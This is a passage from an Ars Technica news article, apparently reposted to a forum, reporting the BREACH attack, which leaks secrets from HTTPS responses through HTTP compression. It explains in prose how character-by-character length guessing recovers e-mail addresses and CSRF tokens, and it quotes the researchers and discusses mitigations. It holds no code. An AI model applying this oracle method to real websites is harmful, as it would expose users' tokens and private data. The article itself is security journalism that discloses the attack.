guesses" that will be explained shortly. "We're not decrypting the entire channel, but only extracting the secrets we care about," Yoel Gluck, one of three researchers who developed the attack, told Ars. "It's a very targeted attack. We just need to find one corner [of a website response] that has the token or password change and go after that page to extract the secret. In general, any secret that's relevant [and] located in the body, whether it be on a webpage or an Ajax response, we have the ability to extract that secret in under 30 seconds, typically." It's the latest attack to chip away at the HTTPS encryption scheme, which forms the cornerstone of virtually all security involving the Web, e-mail, and other Internet services. It joins a pantheon of other hacks introduced over the past few years that bear names such as CRIME, BEAST, Lucky 13, and SSLStrip. While none of the attacks have completely undermined the security afforded by HTTPS, they highlight the fragility of the two-decade-old SSL and TLS protocols. The latest attack has been dubbed BREACH, short for Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext. As its name suggests, BREACH works by targeting the data compression that just about every website uses to conserve bandwidth. Based on the standard Deflate algorithm, HTTP compression works by eliminating repetitions in strings of text. Rather than iterating "abcd" four times in a chunk of data, for instance, compression will store the string "abcd" only once and then use space-saving "pointers" that indicate where the remaining three instances of the identical pattern are found. By reducing the number of bytes sent over a connection, compression can significantly speed up the time required for a message to be received. In general, the more repetitions of identical strings found in a data stream, the more potential there will be for compression to reduce the overall size. Using what's known as an oracle technique, attackers can use compression to gain crucial clues about the contents of an encrypted message. That's because many forms of encryption—including those found in HTTPS—do little or nothing to stop attackers from seeing the size of the encrypted payload. Compression oracle techniques are particularly effective at ferreting out small chunks of text in the encrypted data stream. BREACH plucks out targeted text strings from an encrypted response by guessing specific characters and including them in probe requests sent back to the targeted Web service. The attack then compares the byte length of the guess to the original response. When the guess contains the precise combination of characters found in the original response, it will generally result in a payload that's smaller than those produced by incorrect guesses. Because deflate compression stores the repetitive strings without significantly increasing the size of the payload, correct guesses will result in encrypted messages that are smaller than those produced by incorrect guesses. [h=2]On how an Oracle attack works[/h] The first thing an attacker using BREACH might do to retrieve an encrypted e-mail address is guess the @ sign and Internet domain immediately to its right. If guesses such as "@arstechnica.com" and "@dangoodin.com" result in encrypted messages that are larger than the request/response pair without this payload, the attacker knows those addresses aren't included in the targeted response body. Conversely, if compressing "@example.com" against the encrypted address results in no length increase, the attacker will have a high degree of confidence that the string is part of the address he or she is trying to extract. From there, attackers can guess the string to the left of the @ sign character by character. Assuming the encrypted address was johndoe@example.com, guesses of a@example.com, b@example.com, c@example.com, and d@example.com would cause the encrypted message to grow. But when the attacker guesses e@example.com, it would result in no appreciable increase, since that string is included in the targeted message. The attacker would then repeat the same process to recover the remainder of the e-mail address, character by character, moving right to left. The technique can be used to extract other types of encrypted text included in Web responses. If the site being targeted sends special tokens designed to prevent so-called cross-site request forgery attacks, the credential will almost always contain the same format—such as "request_token=" followed by a long text string such as"bb63e4ba67e24d6b81ed425c5a95b7a2"—each time it's sent. The compression oracle attack can be used to guess this secret string. An attacker would begin by adding the text "request_token=a" to the text of the encrypted page being targeted and send it in a probe request to the Web server. Since the size of the encrypted payload grows, it would be obvious this guess is wrong. By contrast, adding "request_token=b" to the page wouldn't result in any appreciable increase in length, giving the attacker a strong clue that the first character following the equal sign is b. The attacker would use the same technique to guess each remaining character, one at a time, moving left to right. Most attacks that use the BREACH technique can be completed by making only a "few thousand" requests to the targeted Web service, in about 30 seconds with optimal network conditions and small secrets, and in minutes to an hour for more advanced secrets. BREACH, which was devised by Gluck along with researchers Neal Harris and Angelo Prado, builds off the breakthrough CRIME attack researchers Juliano Rizzo and Thai Duong demonstrated last September. Short for Compression Ratio Info-leak Made Easy, CRIME also exploited the compression in encrypted Web requests to ferret out the plaintext of authentication cookies used to access private user accounts. The research resulted in the suspension of TLS compression and an open networking compression protocol known as SPDY. BREACH, by contrast, targets the much more widely used HTTP compression that virtually all websites use when sending responses to end users. It works only against data sent in responses by the website. "If you go to the Wikipedia page or any of the specialized security pages, they will tell you that CRIME is mitigated as of today and is no longer an interesting attack and nobody cares about it," Prado said. "So we are bringing it back and making it work better, faster in a different context." The good news concerning BREACH is that it works only against certain types of data included in Web responses and then only when an attacker has succeeded in forcing the victim to visit a malicious link. Still, anytime an attacker can extract sensitive data shielded by one of the world's most widely used encryption schemes it's a big deal, particularly as concerns rise about NSA surveillance programs. Making matters more unsettling, there are no easy ways to mitigate the damage BREACH can do. Unlike TLS compression and SPDY, HTTP compression is an essential technology that can't be replaced or discarded without inflicting considerable pain on both website operators and end users. At their Black Hat demo, the researchers will release a collection of tools that will help developers assess how vulnerable their applications and online services are to BREACH attacks. Most mitigations will be application-specific. In other cases, the attacks may give rise to new "best practices" advice on how to avoid including certain types of sensitive data in encrypted Web responses. Most websites already list only the last four digits of a customer's credit card number; BREACH may force websites to truncate other sensitive strings as well. "We expect that it could be leveraged in particular situations, maybe with an intelligence agency, or maybe an individual actor or a malicious crime organization might use this in a targeted scenario," Prado said. "Any malware writer today has the ability to do something like this if they have not been doing it already." Sursa: Gone in 30 seconds: New attack plucks secrets from HTTPS-protected pages | Ars Technica